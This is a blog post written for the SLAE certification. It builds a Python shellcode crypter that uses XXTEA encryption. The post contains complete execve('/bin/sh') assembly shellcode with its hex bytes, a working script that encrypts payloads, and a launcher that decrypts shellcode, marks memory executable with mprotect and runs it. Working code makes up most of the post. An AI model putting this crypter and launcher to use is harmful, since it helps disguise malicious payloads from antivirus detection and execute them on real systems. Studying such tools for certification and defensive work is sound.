Assignment #7: Create a custom crypter
The seventh and last assignment is to create a custom crypter like the one shown in the “crypters” video. I’m free to use any existing encryption schema and I can use any programming language.
The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.
Choosing the encryption scheme
For this last assignment I want to use something quick and reliable to encrypt any evil payload. I started looking at TEA for its characteristics and implementations.
I choose to use XXTEA that it is an evolution of original algorithm to correct all weaknesses found.
This is a symmetric block cipher and the key must be 16 bytes long.
Environment
I will use python as programming language and the xxtea package that it is available with the following command:
pip install xxtea
Encrypt
The default behaviour is to select a 16 bytes long random key and use xxtea library facilities to encrypt the default shellcode that is the standard execve() shellcode used in assignment 4.
; Filename: execve.nasm
; Author: Paolo Perego <paolo@codiceinsicuro.it>
; Website: https://codiceinsicuro.it
; Blog post: https://codiceinsicuro.it/slae/
; Twitter: @thesp0nge
; SLAE-ID: 1217
; Purpose: This is the default payload for the customer encoder demo. It
; will execute "/bin/sh" using execve() system call.
global _start
section .text
_start:
xor eax, eax ; init EAX to 0
push eax ; pushing 0 to the stack to be used as NULL
; ending character for /bin/sh string
; execve is defined as #define __NR_execve 11 in
; /usr/include/i386-linux-gnu/asm/unistd_32.h:
;
; system call prototype is:
; int execve(const char *filename, char *const argv[],
; char *const envp[]);
push 0x68732f2f ; pushing //bin/sh into the stack
push 0x6e69622f ; the init double / is for alignment purpose
mov ebx, esp ; pointer to *filename
; I will optimize further my execve-stack shellcode. Since I don't care
; about passing parameters to my shell and to pass the environment
; pointer, I can initialize to zero both ECX and EDX registers.
;
; This will be equivalent to the call: execve("/bin/sh", 0, 0) that it
; is legit.
xor ecx, ecx
xor edx, edx
mov al, 0xb ; execve = 11
int 0x80
However, the crypter tool accepts also a custom encryption key and a custom shellcode to be used instead of the default one.
Here you can find the source code for the crypter script:
#!/usr/bin/env python
import random, string, getopt, xxtea, sys
def help():
print sys.argv[0] + " [options]"
print "Valid options:"
print "\t-h, --help: show this help"
print "\t-k, --key: specify the encryption key"
print "\t-s, --shellcode: specify the shellcode to be used"
return 0
def generate_key():
k=''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16));
return k;
def encrypt(shellcode, key):
enc = xxtea.encrypt(shellcode, key);
return enc;
def main(argv):
# Default behaviour is to generate a random key and to use an
# execve("/bin/sh") shellcode
key = generate_key();
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
try:
opts, args=getopt.getopt(argv, "hk:s:", ["help", "key", "shellcode"] )
except getopt.GetoptError:
help()
sys.exit(1)
for opt, arg in opts:
if opt in ('-h', '--help'):
help()
sys.exit(0)
elif opt in ('-k', '--key'):
key=arg
if (len(key) != 16):
print "The encryption key must be 16 byte long"
help()
sys.exit(-2)
elif opt in ('-s', '--shellcode'):
shellcode=arg.replace('\\x', '').decode('hex')
print "key: " + key;
enc = encrypt(shellcode, key)
sys.stdout.write("encrypted shellcode: \\x");
sys.stdout.flush();
print '\\x'.join(map("%2.2x".__mod__, map(ord, enc)));
if __name__ == "__main__":
main(sys.argv[1:])
Decrypt and launch
The launcher script is responsible for decrypting a given payload using a given decryption key. It may be redundant to recall but, since XXTEA is a Symmetric Cryptography algorithm, the decryption key is the one used to crypt the shellcode.
#!/usr/bin/env python
# Got rid of SEGFAULT using the solution provider here:
# https://stackoverflow.com/questions/19326409/python-ctype-segmentation-fault
import random, string
import xxtea
import sys, time
import getopt
import fileinput
from ctypes import *
def help():
print sys.argv[0] + " [options]"
print "Valid options:"
print "\t-h, --help: show this help"
print "\t-k, --key: specify the decryption key"
print "\t-e, --encrypted-shellcode: specify the encrypted payload"
return 0
def decrypt(enc, key):
return xxtea.decrypt(enc, key)
def main(argv):
key = ""
enc = ""
try:
opts, args=getopt.getopt(argv, "hk:e:", ["help", "key", "encrypted-shellcode"] )
except getopt.GetoptError:
help()
sys.exit(1)
for opt, arg in opts:
if opt in ('-h', '--help'):
help()
sys.exit(0)
elif opt in ('-k', '--key'):
key=arg
elif opt in ('-e', '--encrypted-shellcode'):
enc = arg
if not key:
print "Please specify a decryption key using the -k flag";
help();
sys.exit(-2);
if not enc:
print "Please specify a payload to decrypt using the -e flag";
help();
sys.exit(-3);
enc_b= enc.replace('\\x', '').decode('hex')
shellcode_data=decrypt(enc_b, key);
sys.stdout.write("decrypted shellcode: \\x")
sys.stdout.flush()
print '\\x'.join(map("%2.2x".__mod__, map(ord, shellcode_data)))
print "launching the shellcode..."
shellcode=create_string_buffer(shellcode_data)
function = cast(shellcode, CFUNCTYPE(None))
addr = cast(function, c_void_p).value
libc = CDLL('libc.so.6')
pagesize = libc.getpagesize()
addr_page = (addr // pagesize) * pagesize
for page_start in range(addr_page, addr+len(shellcode_data), pagesize):
assert libc.mprotect(page_start, pagesize, 0x7) == 0
function()
if __name__ == "__main__":
main(sys.argv[1:])
Launching the shellcode is really hard stuff. I’ve to fight against tons of SEGFAULTS and this post saved me in getting rid of non executable bit protection for memory regions: https://stackoverflow.com/questions/19326409/python-ctype-segmentation-fault.
See it in action:
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1217
Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.
Supporta il progetto